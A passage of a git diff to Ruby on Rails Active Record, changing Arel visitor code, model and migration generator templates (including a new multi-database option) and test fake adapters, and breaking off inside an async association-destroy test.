+          end.compare_by_identity
+        end
+
+        def get_dispatch_cache
+          self.class.dispatch_cache
+        end
+
+        def visit(object, collector = nil)
+          dispatch_method = dispatch[object.class]
+          if collector
+            send dispatch_method, object, collector
+          else
+            send dispatch_method, object
+          end
+        rescue NoMethodError => e
+          raise e if respond_to?(dispatch_method, true)
+          superklass = object.class.ancestors.find { |klass|
+            respond_to?(dispatch[klass], true)
+          }
+          raise(TypeError, "Cannot visit #{object.class}") unless superklass
+          dispatch[object.class] = dispatch[superklass]
+          retry
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/window_predications.rb b/activerecord/lib/arel/window_predications.rb
new file mode 100644
index 0000000000000..3a8ee41f8a474
--- /dev/null
+++ b/activerecord/lib/arel/window_predications.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module WindowPredications
+    def over(expr = nil)
+      Nodes::Over.new(self, expr)
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
index 68fca44e3b0a1..a7e5e373a75f1 100644
--- a/activerecord/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/named_base"
 require "rails/generators/active_model"
 require "rails/generators/active_record/migration"
@@ -10,7 +12,7 @@ class Base < Rails::Generators::NamedBase # :nodoc:
 
       # Set the current directory as base for the inherited generators.
       def self.base_root
-        File.dirname(__FILE__)
+        __dir__
       end
     end
   end
diff --git a/activerecord/lib/rails/generators/active_record/application_record/USAGE b/activerecord/lib/rails/generators/active_record/application_record/USAGE
new file mode 100644
index 0000000000000..b406763b54b17
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/application_record/USAGE
@@ -0,0 +1,8 @@
+Description:
+    Generates an `ApplicationRecord` base class for other models to inherit from.
+
+Example:
+    `bin/rails generate application_record`
+
+    This generates the base class. A test is not generated because no
+    behavior is included in `ApplicationRecord` by default.
diff --git a/activerecord/lib/rails/generators/active_record/application_record/application_record_generator.rb b/activerecord/lib/rails/generators/active_record/application_record/application_record_generator.rb
new file mode 100644
index 0000000000000..56b9628a927e4
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/application_record/application_record_generator.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "rails/generators/active_record"
+
+module ActiveRecord
+  module Generators # :nodoc:
+    class ApplicationRecordGenerator < ::Rails::Generators::Base # :nodoc:
+      source_root File.expand_path("templates", __dir__)
+
+      # FIXME: Change this file to a symlink once RubyGems 2.5.0 is required.
+      def create_application_record
+        template "application_record.rb", application_record_file_name
+      end
+
+      private
+        def application_record_file_name
+          @application_record_file_name ||=
+            if namespaced?
+              "app/models/#{namespaced_path}/application_record.rb"
+            else
+              "app/models/application_record.rb"
+            end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/application_record/templates/application_record.rb.tt b/activerecord/lib/rails/generators/active_record/application_record/templates/application_record.rb.tt
new file mode 100644
index 0000000000000..58ddf7185aed1
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/application_record/templates/application_record.rb.tt
@@ -0,0 +1,5 @@
+<% module_namespacing do -%>
+class ApplicationRecord < ActiveRecord::Base
+  primary_abstract_class
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
index 43075077b9257..98b8c0c9e19c5 100644
--- a/activerecord/lib/rails/generators/active_record/migration.rb
+++ b/activerecord/lib/rails/generators/active_record/migration.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/migration"
 
 module ActiveRecord
@@ -15,19 +17,38 @@ def next_migration_number(dirname)
       end
 
       private
-
         def primary_key_type
           key_type = options[:primary_key_type]
           ", id: :#{key_type}" if key_type
         end
 
+        def foreign_key_type
+          key_type = options[:primary_key_type]
+          ", type: :#{key_type}" if key_type
+        end
+
         def db_migrate_path
-          if defined?(Rails) && Rails.application
-            Rails.application.config.paths["db/migrate"].to_ary.first
+          if defined?(Rails.application) && Rails.application
+            configured_migrate_path || default_migrate_path
           else
             "db/migrate"
           end
         end
+
+        def default_migrate_path
+          Rails.application.config.paths["db/migrate"].to_ary.first
+        end
+
+        def configured_migrate_path
+          return unless database = options[:database]
+
+          config = ActiveRecord::Base.configurations.configs_for(
+            env_name: Rails.env,
+            name: database
+          )
+
+          Array(config&.migrations_paths).first
+        end
     end
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index 1f1c47499b06f..0620a515bd5d5 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/active_record"
 
 module ActiveRecord
@@ -5,7 +7,9 @@ module Generators # :nodoc:
     class MigrationGenerator < Base # :nodoc:
       argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
 
+      class_option :timestamps, type: :boolean
       class_option :primary_key_type, type: :string, desc: "The type for primary key"
+      class_option :database, type: :string, aliases: %i(--db), desc: "The database for your migration. By default, the current environment's primary database is used."
 
       def create_migration_file
         set_local_assigns!
@@ -13,12 +17,8 @@ def create_migration_file
         migration_template @migration_template, File.join(db_migrate_path, "#{file_name}.rb")
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-        attr_reader :migration_action, :join_tables
-
       private
+        attr_reader :migration_action, :join_tables
 
         # Sets the default migration template that is being used for the generation of the migration.
         # Depending on command line arguments, the migration template and the table name instance
@@ -26,7 +26,7 @@ def create_migration_file
         def set_local_assigns!
           @migration_template = "migration.rb"
           case file_name
-          when /^(add|remove)_.*_(?:to|from)_(.*)/
+          when /^(add)_.*_to_(.*)/, /^(remove)_.*?_from_(.*)/
             @migration_action = $1
             @table_name       = normalize_table_name($2)
           when /join_table/
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
deleted file mode 100644
index 5f7201cfe1e81..0000000000000
--- a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
-  def change
-    create_table :<%= table_name %><%= primary_key_type %> do |t|
-<% attributes.each do |attribute| -%>
-<% if attribute.password_digest? -%>
-      t.string :password_digest<%= attribute.inject_options %>
-<% elsif attribute.token? -%>
-      t.string :<%= attribute.name %><%= attribute.inject_options %>
-<% else -%>
-      t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
-<% end -%>
-<% end -%>
-<% if options[:timestamps] %>
-      t.timestamps
-<% end -%>
-    end
-<% attributes.select(&:token?).each do |attribute| -%>
-    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
-<% end -%>
-<% attributes_with_index.each do |attribute| -%>
-    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
-<% end -%>
-  end
-end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb.tt b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb.tt
new file mode 100644
index 0000000000000..a467f2a45ea25
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb.tt
@@ -0,0 +1,29 @@
+class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
+  def change
+    create_table :<%= table_name %><%= primary_key_type %> do |t|
+<% attributes.each do |attribute| -%>
+<% if attribute.password_digest? -%>
+      t.string :password_digest<%= attribute.inject_options %>
+<% elsif attribute.token? -%>
+      t.string :<%= attribute.name %><%= attribute.inject_options %>
+<% elsif attribute.reference? -%>
+      t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %><%= foreign_key_type %>
+<% elsif !attribute.virtual? -%>
+      t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
+<% end -%>
+<% end -%>
+<% unless attributes.empty? -%>
+
+<% end -%>
+<% if options[:timestamps] -%>
+      t.timestamps
+<% end -%>
+    end
+<% attributes.select(&:token?).each do |attribute| -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
+<% end -%>
+<% attributes_with_index.each do |attribute| -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+<% end -%>
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
deleted file mode 100644
index 481c70201b12c..0000000000000
--- a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
-<%- if migration_action == 'add' -%>
-  def change
-<% attributes.each do |attribute| -%>
-  <%- if attribute.reference? -%>
-    add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
-  <%- elsif attribute.token? -%>
-    add_column :<%= table_name %>, :<%= attribute.name %>, :string<%= attribute.inject_options %>
-    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
-  <%- else -%>
-    add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
-    <%- if attribute.has_index? -%>
-    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
-    <%- end -%>
-  <%- end -%>
-<%- end -%>
-  end
-<%- elsif migration_action == 'join' -%>
-  def change
-    create_join_table :<%= join_tables.first %>, :<%= join_tables.second %> do |t|
-    <%- attributes.each do |attribute| -%>
-      <%- if attribute.reference? -%>
-      t.references :<%= attribute.name %><%= attribute.inject_options %>
-      <%- else -%>
-      <%= '# ' unless attribute.has_index? -%>t.index <%= attribute.index_name %><%= attribute.inject_index_options %>
-      <%- end -%>
-    <%- end -%>
-    end
-  end
-<%- else -%>
-  def change
-<% attributes.each do |attribute| -%>
-<%- if migration_action -%>
-  <%- if attribute.reference? -%>
-    remove_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
-  <%- else -%>
-    <%- if attribute.has_index? -%>
-    remove_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
-    <%- end -%>
-    remove_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
-  <%- end -%>
-<%- end -%>
-<%- end -%>
-  end
-<%- end -%>
-end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb.tt b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb.tt
new file mode 100644
index 0000000000000..f2038233842e2
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb.tt
@@ -0,0 +1,48 @@
+class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
+<%- if migration_action == 'add' -%>
+  def change
+<% attributes.each do |attribute| -%>
+  <%- if attribute.reference? -%>
+    add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %><%= foreign_key_type %>
+  <%- elsif attribute.token? -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :string<%= attribute.inject_options %>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>, unique: true
+  <%- elsif !attribute.virtual? -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+    <%- if attribute.has_index? -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
+  <%- end -%>
+<%- end -%>
+  end
+<%- elsif migration_action == 'join' -%>
+  def change
+    create_join_table :<%= join_tables.first %>, :<%= join_tables.second %> do |t|
+    <%- attributes.each do |attribute| -%>
+      <%- if attribute.reference? -%>
+      t.references :<%= attribute.name %><%= attribute.inject_options %><%= foreign_key_type %>
+      <%- elsif !attribute.virtual? -%>
+      <%= '# ' unless attribute.has_index? -%>t.index <%= attribute.index_name %><%= attribute.inject_index_options %>
+      <%- end -%>
+    <%- end -%>
+    end
+  end
+<%- else -%>
+  def change
+<% attributes.each do |attribute| -%>
+<%- if migration_action -%>
+  <%- if attribute.reference? -%>
+    remove_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %><%= foreign_key_type %>
+  <%- else -%>
+    <%- if attribute.has_index? -%>
+    remove_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
+    <%- if !attribute.virtual? -%>
+    remove_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+    <%- end -%>
+  <%- end -%>
+<%- end -%>
+<%- end -%>
+  end
+<%- end -%>
+end
diff --git a/activerecord/lib/rails/generators/active_record/model/USAGE b/activerecord/lib/rails/generators/active_record/model/USAGE
new file mode 100644
index 0000000000000..2d1b841e88c79
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/USAGE
@@ -0,0 +1,113 @@
+Description:
+    Generates a new model. Pass the model name, either CamelCased or
+    under_scored, and an optional list of attribute pairs as arguments.
+
+    Attribute pairs are field:type arguments specifying the
+    model's attributes. Timestamps are added by default, so you don't have to
+    specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+    As a special case, specifying 'password:digest' will generate a
+    password_digest field of string type, and configure your generated model and
+    tests for use with Active Model has_secure_password (assuming the default ORM
+    and test framework are being used).
+
+    You don't have to think up every attribute up front, but it helps to
+    sketch out a few so you can start working with the model immediately.
+
+    This generator invokes your configured ORM and test framework, which
+    defaults to Active Record and TestUnit.
+
+    Finally, if --parent option is given, it's used as superclass of the
+    created model. This allows you create Single Table Inheritance models.
+
+    If you pass a namespaced model name (e.g. admin/account or Admin::Account)
+    then the generator will create a module with a table_name_prefix method
+    to prefix the model's table name with the module name (e.g. admin_accounts)
+
+Available field types:
+
+    Just after the field name you can specify a type like text or boolean.
+    It will generate the column with the associated SQL type. For instance:
+
+        `bin/rails generate model post title:string body:text`
+
+    will generate a title column with a varchar type and a body column with a text
+    type. If no type is specified the string type will be used by default.
+    You can use the following types:
+
+        integer
+        primary_key
+        decimal
+        float
+        boolean
+        binary
+        string
+        text
+        date
+        time
+        datetime
+
+    You can also consider `references` as a kind of type. For instance, if you run:
+
+        `bin/rails generate model photo title:string album:references`
+
+    It will generate an `album_id` column. You should generate these kinds of fields when
+    you will use a `belongs_to` association, for instance. `references` also supports
+    polymorphism, you can enable polymorphism like this:
+
+        `bin/rails generate model product supplier:references{polymorphic}`
+
+    For integer, string, text and binary fields, an integer in curly braces will
+    be set as the limit:
+
+        `bin/rails generate model user pseudo:string{30}`
+
+    For decimal, two integers separated by a comma in curly braces will be used
+    for precision and scale:
+
+        `bin/rails generate model product 'price:decimal{10,2}'`
+
+    You can add a `:uniq` or `:index` suffix for unique or standard indexes
+    respectively:
+
+        `bin/rails generate model user pseudo:string:uniq`
+        `bin/rails generate model user pseudo:string:index`
+
+    You can combine any single curly brace option with the index options:
+
+        `bin/rails generate model user username:string{30}:uniq`
+        `bin/rails generate model product supplier:references{polymorphic}:index`
+
+    If you require a `password_digest` string column for use with
+    has_secure_password, you can specify `password:digest`:
+
+        `bin/rails generate model user password:digest`
+
+    If you require a `token` string column for use with
+    has_secure_token, you can specify `auth_token:token`:
+
+        `bin/rails generate model user auth_token:token`
+
+Examples:
+    `bin/rails generate model account`
+
+        For Active Record and TestUnit it creates:
+
+            Model:      app/models/account.rb
+            Test:       test/models/account_test.rb
+            Fixtures:   test/fixtures/accounts.yml
+            Migration:  db/migrate/XXX_create_accounts.rb
+
+    `bin/rails generate model post title:string body:text published:boolean`
+
+        Creates a Post model with a string title, text body, and published flag.
+
+    `bin/rails generate model admin/account`
+
+        For Active Record and TestUnit it creates:
+
+            Module:     app/models/admin.rb
+            Model:      app/models/admin/account.rb
+            Test:       test/models/admin/account_test.rb
+            Fixtures:   test/fixtures/admin/accounts.yml
+            Migration:  db/migrate/XXX_create_admin_accounts.rb
diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
index 5cec07d2e3af4..ae6adac6ad5bc 100644
--- a/activerecord/lib/rails/generators/active_record/model/model_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/active_record"
 
 module ActiveRecord
@@ -9,60 +11,83 @@ class ModelGenerator < Base # :nodoc:
 
       class_option :migration, type: :boolean
       class_option :timestamps, type: :boolean
-      class_option :parent, type: :string, desc: "The parent class for the generated model"
+      class_option :parent, type: :string, default: "ApplicationRecord", desc: "The parent class for the generated model"
       class_option :indexes, type: :boolean, default: true, desc: "Add indexes for references and belongs_to columns"
       class_option :primary_key_type, type: :string, desc: "The type for primary key"
+      class_option :database, type: :string, aliases: %i(--db), desc: "The database for your model's migration. By default, the current environment's primary database is used."
+
+      Rails::Generators.templates_path.each do |path|
+        source_paths << File.join(path, base_name, "migration")
+      end
+      source_paths << File.expand_path(File.join(base_name, "migration", "templates"), base_root)
 
       # creates the migration file for the model.
       def create_migration_file
-        return unless options[:migration] && options[:parent].nil?
+        return if skip_migration_creation?
         attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false
-        migration_template "../../migration/templates/create_table_migration.rb", File.join(db_migrate_path, "create_#{table_name}.rb")
+        migration_template "create_table_migration.rb", File.join(db_migrate_path, "create_#{table_name}.rb")
       end
 
       def create_model_file
-        generate_application_record
+        generate_abstract_class if database && !custom_parent?
         template "model.rb", File.join("app/models", class_path, "#{file_name}.rb")
       end
 
       def create_module_file
         return if regular_class_path.empty?
-        generate_application_record
         template "module.rb", File.join("app/models", "#{class_path.join('/')}.rb") if behavior == :invoke
       end
 
       hook_for :test_framework
 
       private
+        # Skip creating migration file if:
+        #   - options parent is present and database option is not present
+        #   - migrations option is nil or false
+        def skip_migration_creation?
+          custom_parent? && !database || !migration
+        end
 
         def attributes_with_index
           attributes.select { |a| !a.reference? && a.has_index? }
         end
 
-        # FIXME: Change this file to a symlink once RubyGems 2.5.0 is required.
-        def generate_application_record
-          if behavior == :invoke && !application_record_exist?
-            template "application_record.rb", application_record_file_name
+        # Used by the migration template to determine the parent name of the model
+        def parent_class_name
+          if custom_parent?
+            parent
+          elsif database
+            abstract_class_name
+          else
+            parent
           end
         end
 
-        # Used by the migration template to determine the parent name of the model
-        def parent_class_name
-          options[:parent] || "ApplicationRecord"
+        def generate_abstract_class
+          path = File.join("app/models", "#{database.underscore}_record.rb")
+          return if File.exist?(path)
+
+          template "abstract_base_class.rb", path
         end
 
-        def application_record_exist?
-          file_exist = nil
-          in_root { file_exist = File.exist?(application_record_file_name) }
-          file_exist
+        def abstract_class_name
+          "#{database.camelize}Record"
         end
 
-        def application_record_file_name
-          @application_record_file_name ||= if mountable_engine?
-            "app/models/#{namespaced_path}/application_record.rb"
-          else
-            "app/models/application_record.rb"
-          end
+        def database
+          options[:database]
+        end
+
+        def parent
+          options[:parent]
+        end
+
+        def custom_parent?
+          parent != self.class.class_options[:parent].default
+        end
+
+        def migration
+          options[:migration]
         end
     end
   end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/abstract_base_class.rb.tt b/activerecord/lib/rails/generators/active_record/model/templates/abstract_base_class.rb.tt
new file mode 100644
index 0000000000000..ee5cc651c79a1
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/abstract_base_class.rb.tt
@@ -0,0 +1,7 @@
+<% module_namespacing do -%>
+class <%= abstract_class_name %> < ApplicationRecord
+  self.abstract_class = true
+
+  connects_to database: { <%= ActiveRecord.writing_role %>: :<%= database -%> }
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/application_record.rb b/activerecord/lib/rails/generators/active_record/model/templates/application_record.rb
deleted file mode 100644
index 60050e0bf848f..0000000000000
--- a/activerecord/lib/rails/generators/active_record/model/templates/application_record.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-<% module_namespacing do -%>
-class ApplicationRecord < ActiveRecord::Base
-  self.abstract_class = true
-end
-<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
deleted file mode 100644
index 55dc65c8adae2..0000000000000
--- a/activerecord/lib/rails/generators/active_record/model/templates/model.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-<% module_namespacing do -%>
-class <%= class_name %> < <%= parent_class_name.classify %>
-<% attributes.select(&:reference?).each do |attribute| -%>
-  belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %><%= ', required: true' if attribute.required? %>
-<% end -%>
-<% attributes.select(&:token?).each do |attribute| -%>
-  has_secure_token<% if attribute.name != "token" %> :<%= attribute.name %><% end %>
-<% end -%>
-<% if attributes.any?(&:password_digest?) -%>
-  has_secure_password
-<% end -%>
-end
-<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb.tt b/activerecord/lib/rails/generators/active_record/model/templates/model.rb.tt
new file mode 100644
index 0000000000000..e2c7e4e1f8b70
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb.tt
@@ -0,0 +1,22 @@
+<% module_namespacing do -%>
+class <%= class_name %> < <%= parent_class_name.classify %>
+<% attributes.select(&:reference?).each do |attribute| -%>
+  belongs_to :<%= attribute.name %><%= ", polymorphic: true" if attribute.polymorphic? %>
+<% end -%>
+<% attributes.select(&:rich_text?).each do |attribute| -%>
+  has_rich_text :<%= attribute.name %>
+<% end -%>
+<% attributes.select(&:attachment?).each do |attribute| -%>
+  has_one_attached :<%= attribute.name %>
+<% end -%>
+<% attributes.select(&:attachments?).each do |attribute| -%>
+  has_many_attached :<%= attribute.name %>
+<% end -%>
+<% attributes.select(&:token?).each do |attribute| -%>
+  has_secure_token<% if attribute.name != "token" %> :<%= attribute.name %><% end %>
+<% end -%>
+<% if attributes.any?(&:password_digest?) -%>
+  has_secure_password
+<% end -%>
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/module.rb b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
deleted file mode 100644
index a3bf1c37b67b6..0000000000000
--- a/activerecord/lib/rails/generators/active_record/model/templates/module.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-<% module_namespacing do -%>
-module <%= class_path.map(&:camelize).join('::') %>
-  def self.table_name_prefix
-    '<%= namespaced? ? namespaced_class_path.join('_') : class_path.join('_') %>_'
-  end
-end
-<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/module.rb.tt b/activerecord/lib/rails/generators/active_record/model/templates/module.rb.tt
new file mode 100644
index 0000000000000..a38f8b93e20fa
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/model/templates/module.rb.tt
@@ -0,0 +1,7 @@
+<% module_namespacing do -%>
+module <%= class_path.map(&:camelize).join("::") %>
+  def self.table_name_prefix
+    "<%= namespaced? ? namespaced_class_path.join("_") : class_path.join("_") %>_"
+  end
+end
+<% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/multi_db/multi_db_generator.rb b/activerecord/lib/rails/generators/active_record/multi_db/multi_db_generator.rb
new file mode 100644
index 0000000000000..32a11b4d9c912
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/multi_db/multi_db_generator.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "rails/generators/active_record"
+
+module ActiveRecord
+  module Generators # :nodoc:
+    class MultiDbGenerator < ::Rails::Generators::Base # :nodoc:
+      source_root File.expand_path("templates", __dir__)
+
+      def create_multi_db
+        filename = "multi_db.rb"
+        template filename, "config/initializers/#{filename}"
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/rails/generators/active_record/multi_db/templates/multi_db.rb.tt b/activerecord/lib/rails/generators/active_record/multi_db/templates/multi_db.rb.tt
new file mode 100644
index 0000000000000..6016d955b7f2a
--- /dev/null
+++ b/activerecord/lib/rails/generators/active_record/multi_db/templates/multi_db.rb.tt
@@ -0,0 +1,44 @@
+# Multi-db Configuration
+#
+# This file is used for configuration settings related to multiple databases.
+#
+# Enable Database Selector
+#
+# Inserts middleware to perform automatic connection switching.
+# The `database_selector` hash is used to pass options to the DatabaseSelector
+# middleware. The `delay` is used to determine how long to wait after a write
+# to send a subsequent read to the primary.
+#
+# The `database_resolver` class is used by the middleware to determine which
+# database is appropriate to use based on the time delay.
+#
+# The `database_resolver_context` class is used by the middleware to set
+# timestamps for the last write to the primary. The resolver uses the context
+# class timestamps to determine how long to wait before reading from the
+# replica.
+#
+# By default Rails will store a last write timestamp in the session. The
+# DatabaseSelector middleware is designed as such you can define your own
+# strategy for connection switching and pass that into the middleware through
+# these configuration options.
+#
+# Rails.application.configure do
+#   config.active_record.database_selector = { delay: 2.seconds }
+#   config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+#   config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
+# end
+#
+# Enable Shard Selector
+#
+# Inserts middleware to perform automatic shard swapping. The `shard_selector` hash
+# can be used to pass options to the `ShardSelector` middleware. The `lock` option is
+# used to determine whether shard swapping should be prohibited for the request.
+#
+# The `shard_resolver` option is used by the middleware to determine which shard
+# to switch to. The application must provide a mechanism for finding the shard name
+# in a proc. See guides for an example.
+#
+# Rails.application.configure do
+#   config.active_record.shard_selector = { lock: true }
+#   config.active_record.shard_resolver = ->(request) { Tenant.find_by!(host: request.host).shard }
+# end
diff --git a/activerecord/test/.gitignore b/activerecord/test/.gitignore
deleted file mode 100644
index a0ec5967dd6f1..0000000000000
--- a/activerecord/test/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/config.yml
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
deleted file mode 100644
index b0d8050721bcd..0000000000000
--- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-module ActiveRecord
-  module ConnectionHandling
-    def fake_connection(config)
-      ConnectionAdapters::FakeAdapter.new nil, logger
-    end
-  end
-
-  module ConnectionAdapters
-    class FakeAdapter < AbstractAdapter
-      attr_accessor :data_sources, :primary_keys
-
-      @columns = Hash.new { |h, k| h[k] = [] }
-      class << self
-        attr_reader :columns
-      end
-
-      def initialize(connection, logger)
-        super
-        @data_sources = []
-        @primary_keys = {}
-        @columns      = self.class.columns
-      end
-
-      def primary_key(table)
-        @primary_keys[table] || "id"
-      end
-
-      def merge_column(table_name, name, sql_type = nil, options = {})
-        @columns[table_name] << ActiveRecord::ConnectionAdapters::Column.new(
-          name.to_s,
-          options[:default],
-          fetch_type_metadata(sql_type),
-          options[:null])
-      end
-
-      def columns(table_name)
-        @columns[table_name]
-      end
-
-      def data_source_exists?(*)
-        true
-      end
-
-      def active?
-        true
-      end
-    end
-  end
-end
diff --git a/activerecord/test/active_record/connection_adapters/fake_legacy_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_legacy_adapter.rb
new file mode 100644
index 0000000000000..6d4181ceda3da
--- /dev/null
+++ b/activerecord/test/active_record/connection_adapters/fake_legacy_adapter.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionHandling
+    def fake_legacy_connection(config)
+      ConnectionAdapters::FakeLegacyAdapter.new nil, logger
+    end
+  end
+
+  module ConnectionAdapters
+    class FakeLegacyAdapter < AbstractAdapter
+      def active?
+        true
+      end
+    end
+  end
+end
diff --git a/activerecord/test/active_record/connection_adapters/fake_misleading_legacy_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_misleading_legacy_adapter.rb
new file mode 100644
index 0000000000000..093a1f50c5ee2
--- /dev/null
+++ b/activerecord/test/active_record/connection_adapters/fake_misleading_legacy_adapter.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class FakeMisleadingLegacyAdapter < AbstractAdapter
+    end
+  end
+end
diff --git a/activerecord/test/activejob/destroy_association_async_job_test.rb b/activerecord/test/activejob/destroy_association_async_job_test.rb
new file mode 100644
index 0000000000000..ea5d1ccb5fa4f
--- /dev/null
+++ b/activerecord/test/activejob/destroy_association_async_job_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class UndefinedConstantAsync < ActiveRecord::Base
+  self.destroy_association_async_job = "UndefinedConstantJob"
+end
+
+autoload :UnloadableBaseJob, "activejob/unloadable_base_job"
+class UnloadableBaseAsync < ActiveRecord::Base
+  self.destroy_association_async_job = "UnloadableBaseJob"
+end
+
+class UnusedBelongsToAsync < ActiveRecord::Base
+  self.destroy_association_async_job = nil
+end
+
+class UnusedHasOneAsync < ActiveRecord::Base
+  self.destroy_association_async_job = nil
+end
+
+class UnusedHasManyAsync < ActiveRecord::Base
+  self.destroy_association_async_job = nil
+end
+
+
+class DestroyAssociationAsyncJobTest < ActiveRecord::TestCase
+  test "destroy_association_async_job requires valid job class" do
+    error = assert_raises NameError do
+      UndefinedConstantAsync.belongs_to :essay_destroy_async, dependent: :destroy_async
+    end
+    assert_match %r/destroy_association_async_job: uninitialized constant UndefinedConstantJob/, error.message
